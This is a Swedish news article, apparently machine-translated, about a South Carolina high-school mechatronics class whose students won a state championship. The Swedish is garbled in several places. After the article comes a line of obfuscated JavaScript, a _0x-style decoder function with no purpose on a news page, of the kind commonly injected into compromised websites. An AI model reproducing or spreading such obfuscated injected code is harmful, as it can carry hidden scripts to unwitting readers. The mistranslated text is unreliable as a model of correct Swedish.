Av Melissa Keeney
Liberty, S.C. – Inside the Pickens Career and Technology Center är Hank Huttos klassrum fullt av massiva maskiner och imponerande robotar som eleverna ser ut som en barnlek. – Jag tänkte att det lät kul, så jag tar det, säger Brandon Hall, när han minns hur han först introducerades till Huttos kurs. Detta är en värld av mekatronik, en klass som eleverna beskriver som ett högteknologiskt märke av problem skytte i dagens krävande industriella miljö. ” Vad jag säger till folk är att det är som industriellt underhåll på steroider,” skrattar Hall. Sanningsenligt, klassen har hjälpt Hall och kolleger senior, Johnny Hayes, upptäcka sina drömjobb. ” Du behöver inte sitta på ett kontor och göra samma sak varje dag, du vet aldrig riktigt vad du går in i,” säger Hayes.
Utöver sina skarpa färdigheter, de två tonåringar har något annat att skryta om nyligen: de tog just hem det statliga mästerskapet i mekatronik. Vinsten bidrar till ett slags ”dynasti” i Hutto klass, en som har producerat statliga vinnare för de senaste sex åren i rad. ”Det är min hämnd. När de vinner vinner jag, säger han. ”Den riktigt snyggt del är att du kan ge dessa killar en uppgift och lägga ut dem där de kan göra något med sina händer, bort från en dator och en bok, och de verkligen köra med det.”
Bortsett från bokhyllan full av troféer och medaljer, säger Hutto studenter som Hall och Hayes ger honom något annat han kan vara stolt över: framtida ledare i branschen. Hutto säger många lokala företag, som BMW och GE, har gått vidare till att anställa sina akademiker. ”Det är den verkliga belöningen”, säger han.
För nu, Hall och Hayes har siktet inställt på ett annat pris: att föra en nationell guldmedalj hem till Pickens County. – Det handlar om att ha roligt, men vi vill komma ut därifrån och åtminstone vara topp tre, säger Hayes. ”Nej, vi vinner det”, skämtar Hall.
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);};
